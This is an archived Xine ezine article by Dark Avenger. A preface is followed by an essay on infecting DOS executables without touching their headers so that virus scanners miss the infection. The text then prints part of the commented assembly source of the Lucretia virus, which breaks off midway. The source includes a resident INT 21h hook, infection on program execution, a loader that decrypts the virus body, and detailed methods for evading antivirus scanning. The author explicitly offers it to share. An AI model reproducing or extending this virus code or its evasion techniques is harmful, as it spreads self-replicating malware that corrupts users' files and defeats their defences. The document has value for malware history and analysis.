Copy Link
Add to Bookmark
Report

Xine - issue #3 - Phile 104

eZine's profile picture
Published in 
Xine
 · 6 months ago

 
/-----------------------------\
| Xine - issue #3 - Phile 104 |
\-----------------------------/



Hello there, whoever you are.

Int13h asked me to write sort of a history of the article and code that
follows. So here goes. I wrote the stuff about three and a half years ago,
and meant to publish it in the then-existing virus magazine `40hex' under a
fake handle (is there ever such a thing as a "fake" handle?). However, a
certain person convinced me not to do that, because it would be a "bad"
thing to do. I believed that, and I did not publish the article or the
source. Later though, I came to remember the simple truth that "bad" and
"good" can have any meaning only related to specific persons or subjects. So
what was "bad" for someone could be "good" for someone else, and vice versa.
Those things that were supposed to be good turned out to be bad for me,
while those supposed to be bad didn't make any difference. Also, and very
much to my disappointment, I had to find out that nobody ever cared about
what was bad or what was good for me, including the above mentioned person.
Considering all that, i think it's pretty much OK for me to publish the
stuff now, after it has been lying forgotten in a box along with some other
things for so many months. I did, at the time, sent a copy of the code (in
an executable file only, no source) to a certain -AV company so they could
add detection of it in their scanner. They took the easy way out and added
detection only in COM files, but not in EXE files, saying they would add the
EXE file detection some time "later" (which, as far as I know, they never
did). So, in case anyone cares to verify the age of the code, that could be
done fairly easy now :-)

Since the following article and code are not too small, I suppose some
people would like to know what this is all about, before they waste their
their time reading through it. Basically, it's one of those ideas that I've
had for a long time. I never sat down to implement most of them, but this
one i did in 1994, mostly becaise I had to try to do something to keep me
sane at the time. So I just sat down and wrote it; i had the article
completely finished by May. This is a resident MS-DOS virus (I called it
Lucretia, after a song by that name from the group 'Sisters of Mercy' that I
was listening to a lot while i was writing this code). It can infect COM and
EXE files. It is not stealth, and not really polymorphic, either. It is also
not very easy to get it to infect a file; it only infects files that it
likes. There is something else interesting about it, though, and that is the
way it inserts its code into victims. A side effect of that is that certain
virus scanners might have some trouble detecting it. The article discusses
this approach at length (sort of). Now that I look back at it, I've got to
admit that the stuff is pretty lame. I am also aware of the fact that other
people have done similar things independently of me in the past few years.
Nevertheless, I think this code might still have some educational,
entertainment, or whatever value. So, for all it's worth, here it is, in its
almost unmodified original form.

Oh yeh, i also have to say this.... a big "FuCK YoU" goes to my greatest
admirer Vaseline Bontchev (is he still alive?)... "your never gonna get it"
(the rest of it, anyway) to Little Loc/Priest - or what ever his current
handle is. "greetz" to Int13h (or he would have nagged me to death about it
:)... kisses to the Girl in the Yellow Dress (she knows who she is).

dav 24/12/97

-------------------------------------------------------------------------------

A new way to defeat virus scanners
by Dark Avenger


In this article we will try to present a new approach for defeating virus
scanners, and a sample virus that implements it.

Since there have been anti virus programs around for quite some time now, many
virus programmers are inclined to design their viruses in a way to make them
if not undetectable, then at least less detectable by these programs. The most
popular anti virus programs on the market today are the so called virus
scanners. Part of the reason why is that they are easy to maintain by users,
and easy to program by the people who make them, and another part of it is
because it just so happened. So, naturally, many virus programmers have been
looking for ways to defeat virus scanners, and quite a lot of efforts have
gone into that. Lets take a look at some such ways that are currently known.

First, stealth viruses. These are resident viruses that are able to disinfect
files "on the fly" and therefore hide themselves from a virus scanner, or from
an integrity checker. However, this doesn't work if the virus is not currently
resident. It also has a drawback in that in many cases it makes it easily
possible for a user to disinfect infected files without using any special
software (of course this fact isn't advertised by the anti virus people for
obvious reasons). The first known stealth virus was Pakistani Brain.

Second, some viruses can infect targets that are not (or were not at the time)
usually scanned by virus scanners, such as, say, device drivers, OBJ or DLL
files, or text files.

Third, there exist polymorphic viruses. There have been many viruses of this
type, and there has been quite a lot of progress in developing them.
Polymorphic techniques have evolved from simple viruses such as Cascade and
Phoenix-2000, through advanced viruses such as the V2P* family, to complex
polymorphic engines like MtE/TPE/DAME. Polymorphism is in fact the ultimate
solution to the virus scanning problem, if designed and applied correctly. But
there is a big problem with it, and that is that there are some difficulties
with designing and applying it correctly, and nobody has succeeded to do this
completely so far. That's why it is meanwhile useful to look for other
possible approaches. It this article we will present one such approach. This
approach is not a replacement to polymorphism, and as a matter of fact works
even better when combined with it.

Lets begin with examining what a virus scanner exactly does. When started
(after the user has presumably cold booted from a clean write protected system
diskette), a virus scanner examines the whole file system (or any user
specified files, disks, etc.) for known viruses. This is achieved by reading
the specified files and system areas and searching for patterns known to
belong to existing viruses. Typically, only executable files would be scanned,
but many virus scanners have an option to scan all files. At first, virus
scanners used to read a whole file and search it for patterns (scan strings).
But nowadays this is no longer the case. A typical virus scanner on the market
today would only read in the header (beginning) of the file, and if nothing
that could possibly indicate an infection was found there, wouldn't bother to
examine the rest of the contents of the file. In some cases a scanner would
"trace" file's entry point and do a second check there, or perhaps also
examine the end of the file, but it would never read the whole executable
unless something special has been found by the initial checks. Why this is
done so, is that reading and scanning whole files would be quite slow,
especially considering the lousy search algorithms usually employed by these
scanners. There have been a significant increase of external storage used in
personal computers recently, while decrease of access time and increase of CPU
speed have not been that great. Thus it is not untypical today for a user to
have a few gigabytes of data stored on their fixed disks, of which some 10% or
more might as well be executables. Reading and searching through such a vast
amount of data could force the user with an uncomfortably long wait. Not many
users would be inclined to use a virus scanner too often under these
circumstances, or at least, not this particular scanner. On the other hand,
most (if not all) currently known viruses need to modify file's header in a
certain way, in order to infect it successfully. This is what makes it
sufficient for a smart virus scanner to only read the header in order to be
able to determine if a file has not been infected by a known virus.

From what was said so far, it becomes clearly obvious that a virus which does
infect a file without modifying its header (or code at the entry point) would
be therefore undetectable by these scanners. The only question left is how to
implement it. And this is exactly what this article is all about.

At first glance it might appear that it would be difficult, or nearly
impossible, to create a virus that could successfully infect files without
modifying their headers. A typical virus would insert its code at the
executable file's entry point, thus gaining control before the infected
program was started, and therefore being able to restore the state of the
computer to whatever is needed for the program to execute correctly. If virus
code was inserted at a random place inside a program, the result would most
likely be both the target program and the virus failing to execute correctly,
thus alarming the user about a possible problem, and at the same time the
virus failing to spread further. Definitely not a good thing. However there
are ways to solve this problem.

To understand our approach, lets take a closer look at the structure of a
typical executable file. An executable usually consists of (optional) header
and code image. The header contains information as to how to load the code
image, including a relocation table to allow for loading the code at any given
memory address, while the code image contains instructions of the program as
well as any pre-defined data (constants).

Our task is to locate a portion of the user program code where virus code
could be safely inserted without interfering with the correct execution of the
user program. Most MS DOS executables today have been compiled from high level
language source code. There exist various high level languages, and various
compilers generating native 80x86 code. However most of them have a feature
that we can successfully exploit in order to easily locate the part of the
code that we are looking for. This feature is called "stack frame". To make a
long story short, a stack frame is something put on the stack in order to
facilitate access to local variables and procedure arguments put on the stack
within a procedure. More than that, nearly every procedure compiled by these
compilers includes some code to install and remove its own stack frame. This
code is also sometimes referred to as entry/exit code, as it is located at the
beginning and the end of a procedure. For example, entry code for a Turbo
Pascal procedure might look like this:

PUSH BP
MOV BP,SP
SUB SP,20

and its exit code might look like this:

MOV SP,BP
POP BP
RET 4

Now, the key issue here is not the stack frame or stack frame code, but it is
the procedures themselves (called functions in C). A high level language
procedure is some code that does some task. What is most important to us in
this case is not what task it does, but the fact that typically a procedure
has only one entry point, and its entry code (to set up stack frame) is
located exactly at this entry point. We can easily locate this entry code, by
searching for the appropriate instructions, and at the same time we can also
locate the exit code, which marks the procedure's end. This allows us to
safely insert our code inside a procedure. Execution of the user program would
proceed normally as long as our program could restore the processor registers,
the procedure's code that was overwritten, and pass control to it after it was
done with whatever tasks it needed to perform. There is not much chance for a
failure, since the procedure would not be entered but through its entry point
in most cases. There are, however, some tricky issues which will be addressed
later in this article.

What was described above was the infection method #1 of the sample virus we
are presenting here. There exist, however, an infection method #2. The second
infection method is meant to address those executables that for some reason
cannot be infected using the first infection method described above.

Lets recall what our task was: to locate a portion of the user program code
where virus code could be safely inserted without interfering with the correct
execution of the user program. Since an examination of the user program code
has failed to reveal any such portions, our only chance now would be to start
the user program, and examine it as it runs, analysing its behaviour, more
specifically the program flow that takes place. This way we would be able to
determine if there are any locations inside the code image which behave like
procedures, i.e. are always entered through a single entry point, or, if not
always, at least the first time they are called, which is what we need for our
particular purpose. The way this is done is by executing the program in a
"single step" mode. This is a special processor mode that generates an
interrupt after each instruction executed. It is often used by debuggers to
single step through user code (hence the name "single step"). It is also used
by some (anti) virus programs in order to trace interrupt handlers to their
origin or for other similar purposes. What we use it for is to monitor the
change of the instruction pointer (IP) while a program executes. At each step
we check whether the current IP value is suitable for our purpose. A location
would be ok to use, if it was far enough from the code entry point, and if the
few subsequent locations, where the virus code would be inserted, had never
been executed through yet. The second condition can be checked using a bit map
to mark regions of code as they are being executed. It is also necessary to
ensure that the target region has not been overwritten by the execution of the
program so far, i.e. that it has not been used as data and written to. This
can be done by extending the bit map to a "check sum map", and performing a
check sum on the whole region. After the needed location has been found, we
can infect the program, exit single step mode, and let the user program
continue executing normally, in case it was invoked by the user. If this
program was not invoked by the user, we could just terminate it at this point
(not forgetting to restore all interrupt vectors). The current implementation
infects a program only when it has been invoked by the user, and also the
actual infection is performed after the user program has terminated, if the
user program has not attempted to check its integrity. Also, infection method
#2 is only applied to COM files, but there does not exist any reason why it
could not be extended it to also handle EXE files.

What was said so far outlines the basic principles of the approach presented
here. A virus which follows this approach (i.e. employs any of the two
infection methods described above) shall be called a retro virus of type one.
Retro viruses of type two will be eventually presented in another article.

Lets now see what possible problems arise with these two infection methods,
and how can we solve them.

First, the virus would need to restore the code which was overwritten in order
for the user program to execute properly (unless of course we want to have
written an overwriting virus). This could be done by storing a copy of the
overwritten code at the end of program code image, and then simply moving it
back at run time, just like ordinary viruses do. However since the virus has
not received control immediately, the program could have (and in many cases
would have) overwritten this area with data, stack, etc. Therefore a better
solution would be to read this code from the executable file itself, like an
overlay. In most cases this could be done easily under MS DOS version 3.0 or
later, as the program file name is stored at the end of its environment, which
would allow us to locate the program being executed. This would not normally
present a problem unless the program had spawned other processes, or had
overwritten its environment for some reason, or if the file is residing on a
removable disk, and the user has already removed that disk.

Second, when using the first infection method, we need to locate a large
enough procedure to hold the whole virus body, which might be too big to fit
inside any single procedure of most executables. This can be bypassed by only
inserting an overlay loader, instead of inserting the whole virus body inside
a procedure. The overlay loader could then load the rest of the needed code
from the infected file.

Third, going memory resident is a problem. At the time the virus receives
control, there usually won't be any memory available, except possibly for
UMB/HMA/EMS etc. A solution would be to terminate the user program, go
resident, and re-execute the program, but that would only be good if the virus
has received control before the infected program had in fact taken any action
that could be noticed by the user, most importantly input from keyboard or
output to screen. This would need to have been ensured at infection time. The
solution presented here is different. The overlay loader, which was inserted
into user program's code, moves itself to a well known free memory area at
absolute address 0:540h, after which it loads the originally overwritten code
from where it was stored at the end of infected file. A check is performed to
find out if the virus is already resident, and if so, control is returned to
the user program. Otherwise, program termination address in PSP is hooked to
point to another part of the overlay loader and then control is returned to
the user program as usual. When the program terminates, the overlay loader
takes control for a second time. This time the loader allocates DOS memory,
now freely available, and loads the whole virus body into it, which was also
stored at the end of file. The virus code is also being decrypted at this
point; encryption with a random key is necessary in order to ensure that the
virus cannot be scanned for by simply scanning the last few bytes of a
possibly infected file for some pattern.

Another problem arises when infecting EXE files. These files, like it was
already pointed out, have a relocation table to allow for loading their code
at any given memory address. If there were relocation items present that
pointed to the area which was selected for inserting the overlay loader, it
would be necessary to delete those items from the relocation table and insert
them into overlay loader's own relocation table. This table would have to be
used by the loader to relocate the loaded user program code before passing
control to it. This is the way it is handled by the sample virus included
here, with the only difference being that these items aren't deleted from the
table, but are instead pointed to a dummy word in the overlay loader. A
possible enhancement would be to first look for procedures that don't have any
relocation items pointing to them, in order to avoid unnecessarily modifying
the EXE header relocation table.

A general problem with infection method #1 is that the loader could be
inserted into a procedure that will not always be executed, or even never
executed. Moreover, the more procedures a program contains, the less chance
that a randomly selected one would get called. An attempt to solve this
problem could be to try to ensure that the procedure does get called at
infection time. After finding all candidate procedures to be overwritten with
the overlay loader, the program could be executed and a procedure that was
actually called would be selected and the virus code inserted into it after
program termination. This could be achieved by inserting a far CALL
instruction at the beginning of each candidate procedure to the resident virus
code, which would then note the procedure being called, restore the code
overwritten by the CALL instruction and then pass control back to it. Of
course, this method would not ensure that the selected procedure would always
get called; it might or might not be called depending on command line
parameters, user responses, etc. Also note that this assumes that infecting a
program is performed at its invocation by the user; if it isn't, then the
program's input and output need to be redirected to NUL while doing this. A
simpler approach would be to insert the overlay loader into more than one
procedure, hoping that at least one of them would get called. Note that this
wouldn't cause some great increase in infected file size, since the encrypted
virus body could be stored only once. The current implementation does not do
any of this; it simply selects one procedure at random.

There is a related problem with infection method #2, which was already
mentioned. Since we are single stepping through the program, we need to ensure
that no I/O takes place unless the program was actually invoked by the user.
This is always the case in the sample virus presented here, as it only
attempts to infect programs when they are being executed, so it needs not
bother with this type of checks. However perhaps it is worth implementing a
fast infector employing the infection methods described here. In this case
performing these checks would become necessary.

Another problem with the second infection method is its slowness. A program
being single stepped through is also being slowed down quite dramatically.
This is not a problem when an appropriate region is found quickly, and single
step mode is exited from soon, however for some programs it takes longer, or
even never, to find the needed place. For this reason our sample virus also
monitors the system timer and if more than half a second has elapsed since
execution start, exits single step mode without infecting the program. Another
useful trick is to optimize REP string instructions. This is especially
important since many C compilers have a start up code that overwrites the
whole data segment with zeros, apparently in an attempt to initialize all
static variables. This is usually done using a REP STOSW instruction. The code
included here handles REP string instructions in non single step mode;
whenever such an instruction is encountered, single step mode is exited, the
string instruction is executed, and single step mode is re-entered, after the
instruction has completed execution.

One thing that the first infection method currently does not handle is 80186
instructions. Most compilers now have the ability to use these, and there are
two of them that are particularly important to us for our purpose: ENTER and
LEAVE. They are used to create and destroy procedures stack frame, so if an
executable was compiled to run on a 80186 or compatible processor, its
procedures would not be found. This does not present any kind of generic
problem though; it is just a shortcoming of the current implementation.

Finally, it should be said that not all programs infected by a retro virus
would always run correctly. But then, this is true for any virus infected
programs. In fact, in some cases a program that cannot be successfully
infected by a conventional virus, or would be corrupted if it was, could be
infected by a retro virus, and would still run correctly. This is the case for
some overlay files.

One major problem for retro viruses are compressed (by LZEXE etc.)
executables. These files cannot be infected by neither of the two infection
methods for obvious reasons. The only non-compressed code in such executables
is usually scanned for viruses, since it is located at either the beginning or
the end of code image, or both. Furthermore, many scanners now can expand
compressed executables to perform an internal check. This means that even if a
virus could somehow be inserted inside a compressed executable, it would (or
might) be scanned for, unless the virus scanner only expands the header of a
compressed executable. A possible solution to this problem would be to expand
the executable, infect it, and leave it expanded.

It should also be said that it is possible for a virus scanner to detect the
sample virus included here. First of all, the obvious way to do it would be to
read the whole executable file (F-Prot does so for COM files) and then search
for some pattern that is found in the overlay loader. This would indeed slow
down the scanner, but that would be only due to reading the file, not to
searching for the pattern, since searching for a single scan string could be
done fast enough compared to reading a file. An obvious improvement would be
to encode the overlay loader using a good polymorphic engine; this could slow
down the searching process significantly. That would be one step further in
the direction of successfully escaping from virus scanners, and it could be
easily implemented. Second, in case of the first infection method, the overlay
loader is always placed at the beginning of a procedure. This means that in
most cases (with the current implementation always) exit code of a previous
procedure would immediately precede it. This should be corrected if a
polymorphic engine is to be used with the overlay loader for obvious reasons;
it can be done either by removing the restriction for the selected procedure
to immediately follow the exit code of another procedure, or by skipping the
first few instructions of the selected procedure, which can be done by single
stepping through it at run time. The third, and perhaps the most difficult to
solve problem is with the encrypted code stored at the end of file. Since the
code is encrypted with a random key, it is not possible to determine (in real
time) that what is stored at the end of file is actually the encrypted virus
body. However a simple statistical analysis would reveal it as random data,
which is not what most executables contain. Therefore a smart scanner could
inspect the region where the encrypted virus body would supposedly be stored,
and in case it looks random, proceed with reading the whole file and searching
it for the overlay loader. More than that, this data is stored as an internal
overlay (which it indeed is), in case of an infected EXE file, so the scanner
could perform the above check only if the file contains an overlay. This way
there won't be any slow down when scanning most executables, but the virus
would still be found. A work around solution to this problem would be to
extend the target file by a random number of bytes, after infecting it, so
that it will not be known in which area the encrypted code is stored, and at
the same time storing it as a part of the code image, rather than as an
overlay. However this could lead to some undesired effects, such as users disk
space filling up very quickly, some programs refusing to load because of not
enough memory, etc. Another possible solution would be to make the encrypted
code not look statistically random, and at the same time not showing any
specific patterns in it, however this is not a trivial task, especially
considering the memory requirements of the overlay loader, which has to be
able to handle the decryption of this code.

There are also other ways to extend the virus presented here. For example,
conventional fast infection/stealth mechanisms could be added to improve
performance; conventionally infected files could be converted to the new
format whenever there is an occasion for that (i.e. whenever they are being
executed by the user), if no integrity check attempts on them have been made
meanwhile. Another easy improvement would be to enable infection of overlay
files. All this is left as an exercise to the readers.

Well, on a final note, most of what was said here was specific to MS DOS, but
some of the concepts might work well with other operating systems. So if you
happen to have access to any such, it is only up to you to continue this
research in that different environment.

So here it is, the Commented Source Code of this Virus... Share and Enjoy.

--- Begin LUCRETIA.FEM --------------------------------------------------------

;
; Lucretia -- a small virus.
; Written by Dark Avenger.
; version 0.01, 15/03/94
;
; *** WARNING *** WARNING *** WARNING *** WARNING *** WARNING *** WARNING ***
;
; This code might cause damage to your system if executed. It is provided as
; an education tool for information purposes only. The author disclaims any
; responsibility for any consequences of anyone else using this code.
;
; This code is hereby placed in the public domain. Feel free to study it,
; modify, copy, publish, share with friends, or anything.
;
; Compile with Turbo Assembler. Run under MS DOS 3.0 or later.
;
; *** WARNING *** WARNING *** WARNING *** WARNING *** WARNING *** WARNING ***
;

.model tiny

tmp_area = 559h ;Temporary area to be used by
tmp_area_len = 700h-tmp_area ; the overlay loader

.code

org 100h

; Dummy code, not part of the virus

code_start:
jmp short main_entry

db 8,8,' ',26

fake_terminate:
int 20h

base dd 0 ;Random encryption seed

; Overlay loader; control arrives here from within an infected program

main_entry:
push cs
test ax,0a9a9h ;Infection mark
push sp
call push_all
mov al,7
int 29h ;Beep at loading in memory
mov ah,62h
int 21h
xor ax,ax
mov es,ax

; Prepare to copy loader to temporary area: if loader_1 already present there,
; only copy loader_0; otherwise copy both loader_0 and loader_1

mov di,tmp_area
mov cx,offset tmp_len
cmp es:[load_1_sign-base_addr+tmp_area],48b4h
jne copy_loaders
mov ax,load_1_end-load_0_end
mov cx,load_0_end-base_addr
copy_loaders:
pushf
push bx
push es
mov si,load_0-base_addr+tmp_area
push si
push cs
pop ds
call base_addr
base_addr:
pop si
push si
rep movsb ;Copy the loader(s)
add si,ax
add di,ax
load_0_rel_0 label word
mov cx,0
rep movsb ;Copy the relocation info
pop si
retf

load_fail: ;Terminate program in case of
mov ah,4ch ; loader failure
int 21h

; loader_0: control arrives here after the code was moved to temporary area

load_0:
sub si,base_addr-main_entry
mov [bp+16h],si
lea bp,[bx+10h]
mov es,bx
xor di,di
mov es,es:[di+2ch]
dec cx
mov ax,3d00h
load_0_scan_env: ;Find program name stored after
repnz scasb ; environment
scasb
jne load_0_scan_env
scasw
push ds
push es
pop ds
mov dx,di
int 21h ;Open
pop ds
jc load_fail
xchg bx,ax
load_0_pos_hi label word
mov cx,0
load_0_pos_lo label word
mov dx,fake_terminate-code_start
mov ax,4200h ;Seek to and read code
int 21h ; overwritten by the loader
mov dx,si
load_0_read label word
mov cx,2
mov ah,3fh
int 21h
load_0_check label word ;Check if read was successful
cmp [si],20cdh ; by comparing the first word
jnz load_fail ; read to the expected value
push di
mov si,load_1_end-base_addr+tmp_area
load_0_rel_1 label word
mov cx,0
jcxz load_relo_done
load_relo: ;Relocate the just loaded code
lods word ptr cs:[si]
add ax,dx
xchg di,ax
add ds:[di],bp
dec cx
loop load_relo
load_relo_done:
stc
mov ax,3e4ch ;Close the file (also check if
int 21h ; already resident)
pop ax
pop ds
jc load_0_go ;Exit if already resident
popf
je pop_all_ret ;Exit if loader_1 present

; Save file name pointer to be used by loader_1

mov cs:[load_1_name_ofs+1-base_addr+tmp_area],ax
mov cs:[load_1_name_seg+1-base_addr+tmp_area],es

; Intercept program terminate address to point to loader_1 and save the old
; value inside loader_1

mov ax,load_1-base_addr+tmp_area
xchg ax,ds:[10]
mov cs:[load_1_chain-base_addr+tmp_area],ax
mov ax,cs
xchg ax,ds:[12]
mov cs:[load_1_chain+2-base_addr+tmp_area],ax
pushf
load_0_go:
popf
pop_all_ret:
call pop_all
retf ;Return to user program

pop_all:
mov bp,sp
pop [bp+16h]
pop cx
pop si
pop di
pop bp
pop dx
pop ds
pop bx
pop es
pop ax
popf
ret
load_0_end:

; loader_1: control arrives here (in temporary area) if the virus is to go
; resident after the user program terminates

load_1:
call push_all
load_1_name_seg label word
mov ax,0
mov ds,ax
load_1_name_ofs label word
mov dx,0
mov ax,3d00h ;Open the infected file
int 21h
jc load_1_fail
push ax
mov bx,(code_end-base+15)/16
load_1_sign label word
mov ah,48h ;Allocate DOS memory for the
int 21h ; resident code
pop bx
jc load_1_fail
dec ax
mov ds,ax
xor di,di ;Mark the newly allocated MCB
mov word ptr [di+1],8 ; as "system"
inc ax
mov ds,ax
load_1_pos_hi label word
mov cx,0
load_1_pos_lo label word
mov dx,base-code_start
mov ax,4200h ;Seek to and load encrypted
int 21h ; virus body in memory just
mov cx,offset ovl_len ; allocated
mov ah,3fh
cwd
int 21h
mov ax,[di]
load_1_check label word ;Check if read was successful
cmp ax,0 ; by comparing the first word
jnz load_1_fail ; read to the expected value
push bx
mov ax,resident_entry-base
push ds
push ax
push cs
pop es
mov si,rand_key-base_addr+tmp_area
crypt_code:
mov bx,[di]
scasw
mov bp,[di]
mov ax,bx
or ax,bp
jz simple_crypt_3 ;No encryption if seed zero
mov cx,ovl_len/4-1
simple_crypt:
scasw
simple_crypt_0:
push si
push cx
mov cx,15
simple_crypt_1: ;En/Decrypt virus code using a
lods word ptr es:[si] ; simple encryption scheme
mul bp
sub ax,dx
jnz simple_crypt_2
sub ax,bp
jnz simple_crypt_2
sub ax,es:[si-2]
stc
simple_crypt_2:
adc bx,ax
ror bx,cl
xchg bx,bp
loop simple_crypt_1
pop cx
pop si
xor [di],bx
scasw
xor [di],bp
loop simple_crypt
simple_crypt_3:
retf ;Jump to code just decrypted

; Erase loader_1 mark in memory in case of loader failure

load_1_fail:
mov cs:[load_1_sign-base_addr+tmp_area],ax

; Control arrives here after the virus has installed itself memory resident, or
; has failed to do so; transfer control back to parent process in both cases

load_1_go:
call pop_all
db 0eah
load_1_chain dw 0,0

; Random encryption key

rand_key db '( this space is not for rent )'

push_all:
pushf
push ax
push es
push bx
push ds
push dx
push bp
push di
push si
push cx
mov bp,sp
cld
jmp [bp+14h]
load_1_end:

loader_len = $-main_entry
tmp_len = $-base_addr

; This is the beginning of decrypted code; control arrives here when the loaded
; and decrypted code needs to go memory resident

resident_entry:
pop bx
mov ah,3eh
int 21h ;Close open file

; Save old INT 21 vector and point it to our handler

mov ax,3521h
int 21h
mov ds:[dos_chain-base],bx
mov ds:[dos_chain+2-base],es
mov dx,dos_entry-base
mov ax,2521h
int 21h
db 0eah ;Exit to parent process
dw load_1_go-base_addr+tmp_area,0

; Control arrives here when DOS function "OPEN" called (check for self-opening)

open_entry:
call push_all
cmp ah,6ch
je open_1
mov si,dx
open_1:
mov ah,62h
call dos
mov es,bx
mov es,es:[53h] ;Check if open is being called
xor bx,es:[psp_seg] ; by a program that is to be
jne open_done ; infected, exit if negative
mov di,offset open_name
mov ah,60h ;Resolve file name being opened
call dos
push es
pop ds
mov si,offset exec_name
mov cx,80
xchg ax,bx ;Check if name of file being
repz cmpsb ; opened matches the name of
je open_2 ; the program to be infected
cmp cx,79
je open_done
dec di
dec di
scasb
jne open_done ;Exit if negative
open_2:
cwd
call set_inject_pos ;Disable infection if positive
open_done:
call pop_all
jmp short dos_go

; Control arrives here when DOS function "CLOSE" called (installation check)

close_entry:
push bp
mov bp,sp ;Check if being called by the
cmp word ptr [bp+4],0 ; overlay loader
pop bp
jne dos_go ;Exit if negative
call dos
iret ;Don't clear carry if positive

; INT 21 handler; control arrives here whenever a DOS function is being called

dos_entry:
cmp ah,3dh ;Handle open
je open_entry
cmp ax,3e4ch ;Handle close
je close_entry
cmp ax,4b00h ;Handle exec
je exec_entry
cmp ax,6c00h ;Handle extended open (DOS 4.0)
je open_entry
dos_go:
db 0eah
dos_chain dw 0,0

; Control arrives here when DOS function "EXEC" called

exec_entry:
push bx
mov bx,(stack_top+15)/16 ;Allocate work segment
mov ah,48h
call dos
pop bx
jc exec_go
push ds
mov ds,ax
mov ds:[save_sp],sp
mov ds:[save_ss],ss
pop ds
mov ss,ax ;Set up own stack in work
mov sp,offset stack_top ; segment
call push_all
call exec_load ;Do it to him
mov bp,sp
pushf
pop [bp+12h]
call pop_all
push es
push ss
pop es
mov ah,49h ;Free work segment
call dos_f
pop ax
mov ss,es:[save_ss] ;Restore old stack
mov sp,es:[save_sp]
mov es,ax
pop ax
exec_go:
mov ax,4b00h ;Pass control to DOS exec if
jc dos_go ; carry set, otherwise all done
retf 2 ; so exit to caller

; Read file header into work segment

read_exe_header:
mov ax,3d00h
call dos ;Open
jc read_exe_fail
xchg bx,ax
mov dx,offset exe_header
mov cl,40h
mov ah,3fh ;Read first 64 bytes
call read
jc close_f
call seek_eof ;Get file size
mov ds:[file_size],ax
mov ds:[file_size+2],dx
cmp ax,1000h
sbb dx,cx
jb close_f ;Exit if < 4096 bytes long
xchg dx,ax
mov ax,ds:[exe_header] ;Determine if EXE or COM
cmp ax,5a4dh
je read_exe_exe
cmp ax,4d5ah
je read_exe_exe

; Don't infect COM files that are too big

cmp dx,-loader_len-ovl_len-101h
read_exe_bad:
cmc
jmp short close_f
read_exe_exe:
mov ax,ds:[exe_header+6]
add ax,3
rcr ax,1
shr ax,1
add ax,(stack_top+15)/16
cmp ax,1000h ;Exit if EXE relocation table
jae read_exe_bad ; too big
push bx
xchg bx,ax
mov ah,4ah ;Expand work segment to make
call dos ; space for loading the
pop bx ; relocation table
jc close_f
call seek_rel ;Seek to and read the whole
call calc_rel_size ; relocation table
mov ah,3fh
call read
jc close_f
mov cx,1 ;Do not infect high load files
cmp ds:[exe_header+0ch],cx ;(unable to relocate correctly)
close_f:
mov ah,3eh
dos_f:
pushf
call dos
popf
read_exe_fail:
ret

calc_rel_size:
mov cx,ds:[exe_header+6]
shl cx,1
shl cx,1
mov dx,offset relo_table
ret

; Control arrives here on every EXEC call; this is the main procedure handling
; infection of files

exec_load:
sti
lds si,[bp+12]
push ss
pop es
mov di,offset exec_pb
push di
mov cx,7 ;Copy the EXEC parameter block
rep movsw
lds si,[bp+8]
mov di,offset exec_name
mov dx,di
push dx
mov ah,60h ;Resolve and copy the file name
call dos
push ss
pop ds
call read_exe_header
pop dx
pop bx ;Exit if error reading header
jc read_exe_fail ; or unable to infect this file
mov ds:[exe_flag],cl
mov ax,4b01h
pushf
push cs
call dos_go ;Load but do not execute
jc read_exe_fail
mov ah,62h
call dos
mov ds,bx
mov dx,terminate_entry-base
mov ds:[10],dx ;Adjust terminate address
mov ds:[12],cs
mov ds:[53h],ss ;Save pointer to work segment
push cs ; into user program PSP
pop ds
mov ax,2522h ;Adjust DOS terminate address
call dos
push ss
pop ds
xchg ax,bx ;Init internal variables
mov ds:[psp_seg],ax
xchg di,ax
call zero_trap
xchg ax,bx
cwd
call set_inject_pos
mov ds:[relo_len],ax
xchg bx,ax
mov ax,es:[46ch] ;Init random seed using value
mov ds:[rand_seed],ax ; obtained from system timer
in al,[40h]
mov ah,al
in al,[40h]
mov ds:[rand_seed+2],ax
and al,7
inc ax
mov word ptr ds:[trap_count],ax
push di
call analyse_exe ;Analyse for infection type #1
pop di
push ss
pop ds
mov bx,200h
jnc exec_load_go ;Exit if successful
cmp ds:[exe_flag],bl
jne exec_load_go ;Exit if EXE file
call trap_setup ;Analyse for infection type #2
push ss
pop ds
exec_load_go:
mov ss,ds:[exec_pb+10h] ;Switch to user stack
mov sp,ds:[exec_pb+0eh]
pop ax ;Load user AX value
push bx
push ds:[exec_pb+14h] ;User program entry
push ds:[exec_pb+12h]
mov ds,ds:[psp_seg] ;Load PSP into DS, ES
push ds
pop es
iret ;Start up user program

; Overwrite a relocation table item with a pointer to dummy word in the overlay
; loader

remove_callback:
mov ax,load_1_chain+2-main_entry
add ax,di
mov [si-4],ax
mov ax,dx
push cx
mov cl,12
shl ax,cl
pop cx
mov [si-2],ax
ret

; Control arrives here after searching the user program code image has
; completed; analyse results of the search

search_done:
push ss
pop ds
mov al,byte ptr ds:[load_len+1]
xor ah,ah
cmp ds:[proc_count],ax ;Don't infect if not enough
jb search_fail ; procedures were found
xchg ax,bx
stc
mov bp,ds:[best_proc_len]
inc bp
jz search_fail ;No match
dec bp
les di,dword ptr ds:[best_proc_pos]
mov dx,es
cmp ds:[exe_flag],al
je search_done_calc
mov ax,remove_callback-base ;Remove relocation items from
call process_header ; an EXE file
mov ax,ds:[exe_header+8]
search_done_calc:
mov si,dx ;Adjust procedure position with
mov dx,16 ; header length to obtain file
mul dx ; position
add ax,di
adc dx,si
set_inject_pos:
mov ds:[inject_pos],ax
mov ds:[inject_pos+2],dx
search_fail:
ret

; Analyse a file to determine if infection method #1 would be successful, and
; select a code region if positive

analyse_exe:
mov ax,ds:[file_size] ;Calculate code image length
mov cl,4
shr ax,cl
cmp ds:[exe_flag],dl
je calc_load_len
les ax,dword ptr ds:[exe_header+4]
mov cx,es ;Do not infect if no relocation
jcxz search_fail ; items (handle EXEPACK, etc.)
dec ax
mov cl,5
shl ax,cl
calc_load_len:
sub ax,100h ;Reduce by 4096 bytes
jc search_fail
mov ds:[load_len],ax
push ds
pop es
xchg bx,ax
mov ds:[proc_count],ax
dec ax
mov ds:[best_proc_len],ax
add di,90h ;Start searching at PSP+90:0
search_1: ; (exclude first 2048 bytes)
or bx,bx
jz search_done ;End search if length zero
mov ds,di
xor si,si
mov ss:[trap_last],si
mov ax,bx
cmp ax,0fffh
jbe search_2
mov ax,0fffh
search_2:
add di,ax
sub bx,ax
mov cl,4
shl ax,cl
xchg cx,ax
search_3:
cmp cx,15 ;Proceed to next segment if
jb search_1 ; less than 15 bytes left
xor dx,dx
mov bp,si
dec cx
lodsb
cmp al,0a9h ;Check for infection mark, exit
jne search_4 ; if found
cmp [si],0a9a9h
